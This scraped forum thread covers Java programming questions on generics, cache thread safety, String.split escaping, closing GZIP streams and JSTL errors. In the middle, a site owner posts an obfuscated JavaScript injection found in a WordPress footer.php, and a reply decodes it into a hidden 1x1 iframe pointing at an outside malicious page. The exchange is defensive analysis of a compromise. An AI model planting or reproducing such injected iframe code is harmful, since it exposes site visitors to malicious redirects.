Register a SA Forums Account here!
JOINING THE SA FORUMS WILL REMOVE THIS BIG AD, THE ANNOYING UNDERLINED ADS, AND STUPID INTERSTITIAL ADS!!!

You can: log in, read the tech support FAQ, or request your lost password. This dumb message (and those ads) will appear on every screen until you register! Get rid of this crap by registering your own SA Forums Account and joining roughly 150,000 Goons, for the one-time price of $9.95! We charge money because it costs us money per month for bills, and since we don't believe in showing ads to our users, we try to make the money back through forum registrations.
 
  • Post
  • Reply
Mustach
Mar 2, 2003

In this long line, there's been some real strange genes. You've got 'em all, with some extras thrown in.

FateFree posted:

If I'm making a generic class <T extends BaseObject, V> how can I enforce that V is a long? If I say <V extends Long> I get an ugly warning about not being able to extend final classes, even though it seems to accomplish what I want. Is there any other way?
Why is V even a type parameter if it can be only one type?

Adbot
ADBOT LOVES YOU

epswing
Nov 4, 2003

Soiled Meat
Don't you want class <T extends BaseObject, Long> ?

edit: Whoops, no, this doesn't make sense

epswing fucked around with this message at 23:13 on Jun 16, 2010

Mill Town
Apr 17, 2006

epswing posted:

Don't you want class <T extends BaseObject, Long> ?

efb

That's not quite what Mustach is saying... He's saying you don't need a type parameter at all for V, just:
code:
class <T extends BaseObject> myClass{
  void doStuff( T parameter1, Long parameter2 ){
    //things
  }
  //...more methods
}

crazyfish
Sep 19, 2002

You would enforce that the second type parameter is a long if you were extending a class that had two generic type parameters and the subclass required that one be a Long.

Forgive me if this isn't correct syntax:
code:
class A<T extends Foo, V>
{
.... blah blah blah
}

class B<T extends Foo> extends A<T, Long>
{
.... blah blah blah
}

FateFree
Nov 14, 2003

Yes this turned out to be the answer. I got caught up in generics insanity before I realized it. Thanks.

Now for something a little harder. I am using EhCache (thread safe cache, based on ConcurrentHashMap) to store a counter (AtomicInteger). The counter is basically the count of all rows in the database for some query. I'd like to pro-actively manage this value to reduce the number of queries, so I have code like so, that I will call any time someone saves a new object to the database:

code:
AtomicInteger counter = get(key);

if(counter != null)
    counter.incrementAndGet();	
Simply pulling the counter from ehcache, performing null check, and incrementing the value which is remaining in cache.

My question is, is this thread safe? I know the AtomicInteger is a synchronized increment operation, and I know that ehcache is thread safe, but I don't know if this particular block of code is safe to use together. I think it is because of AtomicInteger, and if it was a regular int with counter++ it would be unsafe. Still I'd feel better with someone elses opinion.

OddObserver
Apr 3, 2009
What's the deal with the null check here --- a potential race here would be an another thread inserting something in the cache between the get and the check.
Would that be a problem?

FateFree
Nov 14, 2003

Well lets see, there may not be a count in cache yet, and I would not have the information to add one. All I know is on a new save, its count++ and a delete its count--, the actual number requires a query (whoever is requesting the count will first check cache, if not there, queury and place it in cache).

But if another thread inserted something after my get, it means they will be putting the most up to date number in cache since its coming directly from the query. So i believe in that sense it is safe.

trex eaterofcadrs
Jun 17, 2005
My lack of understanding is only exceeded by my lack of concern.
So as long as you can guarantee that you never replace the object in the cache with a new one, then yes your code is thread safe.

However you still could have a race condition where a thread is reading that AtomicInteger at the same time as another is null-checking right before an update. If you need an ALWAYS accurate row count you should probably either synchronize all reads and writes or just run the query and see if it'll really cause a performance issue.

Outlaw Programmer
Jan 1, 2008
Will Code For Food

FateFree posted:

But if another thread inserted something after my get, it means they will be putting the most up to date number in cache since its coming directly from the query. So i believe in that sense it is safe.

Consider the following scenario:

Thread 1: Try to save a record that affects key "query1"
Thread 1: Successfully update DB
Thread 2: Call get() or whatever to get rowcount for "query1"
Thread 2: No AtomicInteger found, so fetch correct count from the DB, which should be 1
Thread 2: Insert entry for "query1" with new AtomicInteger(1)
Thread 2: Finished
Thread 1: Lookup entry for "query1" in your map, come back with AtomicInteger with value of 1
Thread 1: Remember, initiated with save command, so increment this integer
ERROR: "query1" now has a rowcount of 2.

In my experience, you will drive yourself nuts trying to keep these 2 pieces of information, the rowcount in RAM and the rowcount in the DB, in sync. Anything that needs to know the rowcount for this query should probably just fetch it on demand.

FateFree
Nov 14, 2003

Just when you think youve got something figured out haha. Thank you sir. I suppose the best solution is to maintain the count in cache, and just clear it on save or delete operations. I guess there is no way to ever guarantee an accurate count, even if it was never cached another thread could have saved a value immediately after I retrieved mine.

tef
May 30, 2004

-> some l-system crap ->
http://java.sun.com/j2se/1.5.0/docs/api/java/util/concurrent/ConcurrentHashMap.html#putIfAbsent(K, V)

if you used this instead of the null check you could avoid the race.

FateFree
Nov 14, 2003

tef posted:

http://java.sun.com/j2se/1.5.0/docs/api/java/util/concurrent/ConcurrentHashMap.html#putIfAbsent(K, V)

if you used this instead of the null check you could avoid the race.

Unfortunately while the idea of the putIfAbsent is nice, the only way it could ever be effective is if you passed some sort of interface that will create the value, rather than sending the actual value. Imagine if the value came from an expensive database call, you would only want to make that call if it is in fact absent from the cache, but this method would require you to send the value every time.

I'm hoping one day they improve that..

Parantumaton
Jan 29, 2009


The OnLy ThInG
i LoVe MoRe
ThAn ChUgGiNg SeMeN
iS gEtTiNg PaId To Be A
sOcIaL MeDiA sHiLl
FoR mIcRoSoFt
AnD nOkIa

FateFree posted:

Unfortunately while the idea of the putIfAbsent is nice, the only way it could ever be effective is if you passed some sort of interface that will create the value, rather than sending the actual value. Imagine if the value came from an expensive database call, you would only want to make that call if it is in fact absent from the cache, but this method would require you to send the value every time.

I'm hoping one day they improve that..

Eh, those kind of checks aren't in any way or form the job of Map itself but instead the object that utilizes the map.

NecroBob
Jul 29, 2003
Is it possible to set up data connections using Bluetooth in Java? Everything I've seen on Google suggests that it needs JavaME, and I don't think Android devices support JavaME, just Java.

What I'm thinking of is an application that will tunnel Ethernet frames over a Bluetooth connection. This way, I can use my Archos 5 Internet Tablet to connect to a weak Wifi connection in my kitchen (common apartment wifi) and use my laptop in the living room via a Bluetooth link.

Internet Janitor
May 17, 2008

"That isn't the appropriate trash receptacle."

NecroBob posted:

Is it possible to set up data connections using Bluetooth in Java? Everything I've seen on Google suggests that it needs JavaME, and I don't think Android devices support JavaME, just Java.

What I'm thinking of is an application that will tunnel Ethernet frames over a Bluetooth connection. This way, I can use my Archos 5 Internet Tablet to connect to a weak Wifi connection in my kitchen (common apartment wifi) and use my laptop in the living room via a Bluetooth link.

The Android platform is (mostly) a functional superset of J2ME. It isn't really J2ME or J2SE, but odds are if you can do something in J2ME it's possible on Android. A quick google search seems to indicate this is what you're looking for.

NecroBob
Jul 29, 2003

Internet Janitor posted:

The Android platform is (mostly) a functional superset of J2ME. It isn't really J2ME or J2SE, but odds are if you can do something in J2ME it's possible on Android. A quick google search seems to indicate this is what you're looking for.

Honestly, I hadn't even looked into the Android side of things yet, but that looks like a good start! Now to see if what I've been reading on the JavaME side is accurate and if the two work together.

zootm
Aug 8, 2006

We used to be better friends.

FateFree posted:

Unfortunately while the idea of the putIfAbsent is nice, the only way it could ever be effective is if you passed some sort of interface that will create the value, rather than sending the actual value. Imagine if the value came from an expensive database call, you would only want to make that call if it is in fact absent from the cache, but this method would require you to send the value every time.

I'm hoping one day they improve that..
putIfAbsent is defined as atomic (that's why it's on ConcurrentMap) so doing as you say would be crazy. The idea of taking an instance which will build the value makes some sense for a genetic call of that form but the Java anonymous inner class syntax is such that it'd probably be longer than just writing the check oneself.

fletcher
Jun 27, 2003

ken park is my favorite movie

Cybernetic Crumb
What is the difference between something like this:

code:
HashMap<String, Account> accounts = new HashMap<String, Account>();

Account account = null;
while (resultSet.next()) {
    account = new Account(resultSet.getString("Id"));
    accounts.put(account.getId(), account);
}
and this:

code:
HashMap<String, Account> accounts = new HashMap<String, Account>();

while (resultSet.next()) {
    Account account = new Account(resultSet.getString("Id"));
    accounts.put(account.getId(), account);
}
Is one more efficient than the other?

Fly
Nov 3, 2002

moral compass

fletcher posted:

What is the difference between something like this:

code:
HashMap<String, Account> accounts = new HashMap<String, Account>();

Account account = null;
while (resultSet.next()) {
    account = new Account(resultSet.getString("Id"));
    accounts.put(account.getId(), account);
}
and this:

code:
HashMap<String, Account> accounts = new HashMap<String, Account>();

while (resultSet.next()) {
    Account account = new Account(resultSet.getString("Id"));
    accounts.put(account.getId(), account);
}
Is one more efficient than the other?

Not really except that the garbage collector cannot reclaim the memory from the last value stored in account until it is out of scope, which is later in the former example. (in general, though you're storing it in a map, so it's not free to be garbage collected anyway at that point.)

I would keep the variable inside the scope of the while loop if nothing after the loop needs to know the last account read from resultSet. It's cleaner that way, and avoiding the unnecessary use of local variables is a good thing.

Max Facetime
Apr 18, 2009

When compiling the first version my compiler stores null to the local variable even though the null value can never be read, resulting in a few bytes bigger method. Therefore the second version is more space-efficient.

If I remove the null initialization, both versions compile to identical byte-code.

If the method is called often enough to be JIT compiled, anything could happen.

Crunk Magnet
Feb 19, 2004
Poop Soup
I'm trying to separate 3 blood pressure readings with dates associated with them. They are stored in a pipe delimited format. With

code:
c.other.toString() = 100|1/1/2001|200|2/2/2002|300|3/3/2003
However, using:

code:
System.out.println(c.other.toString());
String [] heartInfo;
String delimiter = "|";
heartInfo = c.other.toString().split(delimiter);
for(int i =0; i < heartInfo.length ; i++) {
	System.out.println("heartinfo["+i+"] = " + heartInfo[i]);
}
results in output that looks like:

code:
heartinfo[0] = 
heartinfo[1] = 1
heartinfo[2] = 0
heartinfo[3] = 0
heartinfo[4] = |
heartinfo[5] = 1
heartinfo[6] = /
heartinfo[7] = 1
heartinfo[8] = /
heartinfo[9] = 2
heartinfo[10] = 0
...
heartinfo[38] = 3
What am I doing wrong? I assumed that using the delimiter would mean that up until the first pipe would be stored as heartinfo[0] and then the date immediately following it would be stored as heartinfo[2]. This is obviously not the case and has been baffling me for over an hour. Any insight would be appreciated.

Malloc Voidstar
May 7, 2007

Fuck the cowboys. Unf. Fuck em hard.
the javadoc of split() sez:

quote:

Splits this string around matches of the given regular expression.
| has a special meaning in regexes (who cares what it is)

so you need to escape it!
ofcourse "\|" gives an error in java since that's not a valid java escape sequence
so use "\\|" as the delimiter

code:
heartinfo[0] = 100
heartinfo[1] = 1/1/2001
heartinfo[2] = 200
heartinfo[3] = 2/2/2002
heartinfo[4] = 300
heartinfo[5] = 3/3/2003

chippy
Aug 16, 2006

OK I DON'T GET IT

Aleksei Vasiliev posted:

| has a special meaning in regexes (who cares what it is)


It's an "OR"? So you're giving split() a delimiter or either "" or "" to split around. There is a "" in between every character, hence it splitting your string into individual characters.

trex eaterofcadrs
Jun 17, 2005
My lack of understanding is only exceeded by my lack of concern.

I am in posted:

When compiling the first version my compiler stores null to the local variable even though the null value can never be read, resulting in a few bytes bigger method. Therefore the second version is more space-efficient.

If I remove the null initialization, both versions compile to identical byte-code.

If the method is called often enough to be JIT compiled, anything could happen.

There's also a possible impact on escape analysis and lock coarsening that I honestly wasn't able to measure. Allowing the variable to expire in the while-block's scope allows the compiler to infer that it will never exist outside that region, so it can optimize accordingly.

Fly
Nov 3, 2002

moral compass

TRex EaterofCars posted:

There's also a possible impact on escape analysis and lock coarsening that I honestly wasn't able to measure. Allowing the variable to expire in the while-block's scope allows the compiler to infer that it will never exist outside that region, so it can optimize accordingly.
Good catch---I forgot about escape analysis. I'm not sure whether the JIT is smart enough to know that it would work in both cases, but it's possible that it might as the reference is never used outside of the loop.

trex eaterofcadrs
Jun 17, 2005
My lack of understanding is only exceeded by my lack of concern.

Fly posted:

Good catch---I forgot about escape analysis. I'm not sure whether the JIT is smart enough to know that it would work in both cases, but it's possible that it might as the reference is never used outside of the loop.

Apparently escape analysis is disabled on OS X:
code:
Java HotSpot(TM) 64-Bit Server VM warning: Escape Analysis is disabled in this release.
:( I'll try my little microbenchmark on a linux box later.

Malloc Voidstar
May 7, 2007

Fuck the cowboys. Unf. Fuck em hard.
Oh hey Eclipse Helios is out. Good timing since my Eclipse suddenly broke overnight.

Let's try it out.
Hitting "Browse" on the workspace selector on the 32-bit version freezes the program. Pasting the location works, but Eclipse crashes immediately on boot with "org.eclipse.swt.SWTError: Cannot initialize Drop", an apparently unreproducible error that also took out my Galileo.
And the 64-bit version can't use Subclipse.

:negative:

Parantumaton
Jan 29, 2009


The OnLy ThInG
i LoVe MoRe
ThAn ChUgGiNg SeMeN
iS gEtTiNg PaId To Be A
sOcIaL MeDiA sHiLl
FoR mIcRoSoFt
AnD nOkIa

TRex EaterofCars posted:

Apparently escape analysis is disabled on OS X:

Actually "not implemented", Apple just doesn't want to seem lazy. Not that it matters here.

Tars Tarkas
Apr 13, 2003

Rock the Mok



A nasty woman, I think you should try is, Jess.


Hi, can anyone tell me how to decode this crap someone inserted into a footer.php file on one of my wordpress installs?
It is some sort of redirect and there is a big fake .php file filled with this gibberish that I also had to remove and it would
be nice to be able to see if it messed with something that is evading my wipe/reinstalls:

code:
<script language=JavaScript>document.write(unescape('%3cs%63%72ipt lang'+'uage=%4a%61va%53cr%69%70t%3edoc%75m%65nt%2ewri%74%65(unesca%70e%28%27%25%33%63i%256%36r%2561me%2520%2577i%25'+'6%34t%27+%27h=%25%331%25%320heig%2568t%3d1 b%27+%27order=%2530%2520frame%27+%27b%256frd%27+%27%65%25%372%25%33d%2530%20%2573r%2563%253d%2527htt%70://%256%61%61c%71%2575%25%365l%69%25%36e%2565siven%25%32ecom/%6b1j%252%66inde%27%2b%27x.p'+'hp%25%327%253e%25%33%63/%69%2566%72a'+'m%2565%253e%27))%3c/scr'+'%69%70%74%3e'+''))</script>

OddObserver
Apr 3, 2009
That looks like you may have been cracked. It eventually outputs this:
code:
<iframe width=1 height=1 border=0 frameborder=0 src='http://jacquelinesiven.com/k1j/index.php'></iframe>
Also, you want to ask this in the web questions thread --- JavaScript has nothing to do with Java; and there may be a WordPress thread, IIRC, which may be able to help you better.

(I did this by using a command-line interpreter to execute the nested unescapes)

Tars Tarkas
Apr 13, 2003

Rock the Mok



A nasty woman, I think you should try is, Jess.


Okay, thanks!

FateFree
Nov 14, 2003

Can anyone explain why I cant seem to get the following code to work with try finally blocks? This is for a gzip compression algorithm:

Compress:
code:
	private byte[] compress(String input) throws IOException {
	    ByteArrayOutputStream bos = new ByteArrayOutputStream();
	    BufferedOutputStream bufos = new BufferedOutputStream(new GZIPOutputStream(bos));
	    bufos.write(input.getBytes());
	    bufos.close();
	    byte[] retval = bos.toByteArray();
	    bos.close();
	    return retval;
	}
Decompress:
code:
	private String decompress(byte[] bytes) throws IOException {
		ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
	    BufferedInputStream bufis = new BufferedInputStream(new GZIPInputStream(bis));
	    ByteArrayOutputStream bos = new ByteArrayOutputStream();
	    byte[] buf = new byte[1024];
	    int len;
	    
	    while((len = bufis.read(buf)) > 0)
	      bos.write(buf, 0, len);
	    
	    String retval = bos.toString();
	    bis.close();
	    bufis.close();
	    bos.close();
	    return retval;
	}
In its form now it works fine, I catch the ioexception later and wrap it in a compression exception. But what I would like to do is make sure the streams are closed in a finally block before I rethrow the exception, however any attempt I make to modify this code and put the close() calls in a finally block results in a "EOF unexpected end of zlib input stream exception".

Here was one such attempt:
code:
private byte[] compress(String input) throws IOException {
		ByteArrayOutputStream baos = null;
		GZIPOutputStream gzos = null;			
		
		try
		{
			baos = new ByteArrayOutputStream(); 
			gzos = new GZIPOutputStream(baos);
				
			byte[] baFileContent = input.getBytes(); 
			
			for(int i = 0; i < baFileContent.length; i++) 
				gzos.write(baFileContent[i]);
			
			return baos.toByteArray();				
		}
		finally
		{
			if(isNotNull(gzos))
				gzos.close();

			if(isNotNull(baos))
				baos.close();
		}
	}
code:
	private String decompress(byte[] bytes) throws IOException {
		ByteArrayInputStream bais = null;
		ByteArrayOutputStream baos = null;
		GZIPInputStream gzis = null;		
		
		try
		{
			bais = new ByteArrayInputStream(bytes);
			baos = new ByteArrayOutputStream();
			gzis = new GZIPInputStream(bais);
			byte[] buffer = new byte[1024];
			
			for(int len; (len = gzis.read (buffer,0,buffer.length)) != -1; )
				baos.write(buffer, 0, len);
			
			return new String(baos.toByteArray());
		}
		finally
		{
			if(isNotNull(gzis))
				gzis.close();

			if(isNotNull(bais))
				bais.close();

			if(isNotNull(baos))
				baos.close();			
		}	
	}

Max Facetime
Apr 18, 2009

finally-blocks are meant for cleaning up resources. The trouble with streams is that the close-method is also responsible for committing changes made to the stream. In this case the GZIPOutputStream is probably doing some internal buffering, so the underlying ByteArrayOutputStream receives the data too late.

To make sure this doesn't happen I usually structure my stream handling like this:

code:
String process() throws IOException {
  InputStream in = null;
  try {
    in = acquireStream();
    String result = readStream(in);
    in.close();
    in = null;

    return result;

  } finally {
    close(in);
  }
}

void close(InputStream in) {
  if(in != null) {
    try {
      in.close();
    } catch(IOException ignored) {}
  }
}
There's two places where the stream is closed: first one commits changes, releases resources and can signal an error and the second just cleans up when an error has already happened.

FateFree
Nov 14, 2003

Thanks for the explanation, I appreciate it. With that in mind, is it possible for me to consolidate my input and output streams since they seem to just be wrapping themselves a few times, and call close on only the parent stream? For instance:

This
code:
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
BufferedInputStream bufis = new BufferedInputStream(new GZIPInputStream(bis));	   
to this:
code:
BufferedInputStream bufis = new BufferedInputStream(new GZIPInputStream(new ByteArrayInputStream(bytes)));	   
and call close on just the buffered input stream?

1337JiveTurkey
Feb 17, 2005

Yes. Streams that wrap other streams are supposed to close the underlying stream when they are closed unless there's a reason for them not to, in which case the calling code probably isn't supposed to close the underlying stream in the first place like the output stream for a zip file entry.

Outlaw Programmer
Jan 1, 2008
Will Code For Food
Why not just call the flush() method on your OutputStreams when you're doing writing to them?

4001 Dicks In Mouth
Aug 1, 2003
I'm having a hell of a time with some jstl expressions. They were working fine last week but I'm getting errors now, I even synced my workspace up with working code and I'm still getting the same error. Below are the details

ConfigurationBean.java
code:
package default;

import org.apache.struts.action.ActionForm;

public class ConfigurationBean extends ActionForm {
 private String mailboxSelected = "";
 
 public ConfigurationBean() { }

 public String getMailboxSelected() {
  return mailboxSelected;
 }

 public void setMailboxSelected(String mailboxSelected) {
  this.mailboxSelected = mailboxSelected;
 }
}
and my jsp snippet
code:
<%@taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%>

<jsp:useBean id="configBean" class="default.ConfigurationBean" />
<c:set target="${configBean}" property="mailboxSelected" value="${mailboxSelected}" />
And finally the error I'm getting is: javax.servlet.ServletException: Invalid property in <set>: "mailboxSelected"

Any ideas what the problem might be? Everything looks good as far as I can see.

UberJumper
May 20, 2007
woop
I honestly have not touched Java in almost 5 years now (University programming class). So today at work i had this wonderful conversation, with some random senior programmer:

:eng101: I need you to go and do a code cleanup!
:3: Uhh...
:eng101: Well this student wrote us this program in java about 4 years ago, it works and we don't want to rewrite it. However now another department needs to expand upon it. But the code is just kind of a trainwreck.... theres no constant code format... it doesn't compile in the last two versions of java, So fix it!
:3: :suicide:

When i did java i didn't put much thought into my 100 line programs, and the coding style. I've looked around and seen quite a few different styles, but i can't really find any sort of official coding style from Sun.

Does such a thing exist? Also any suggestions to turn this from a monster into something not as ugly.

Kaltag
Jul 29, 2003

WHAT HOMIE? I know dis ain't be all of it. How much of dat sweet crude you be holdin' out on me?
Is this what you mean?

http://java.sun.com/docs/codeconv/html/CodeConvTOC.doc.html

Adbot
ADBOT LOVES YOU

Sereri
Sep 30, 2008

awwwrigami


To be fair, those are from the mid to late 90s and haven't been updated ever since. There's stuff in it like "Avoid lines longer than 80 characters, since they're not handled well by many terminals and tools". :psyduck:

  • 1
  • 2
  • 3
  • 4
  • 5
  • Post
  • Reply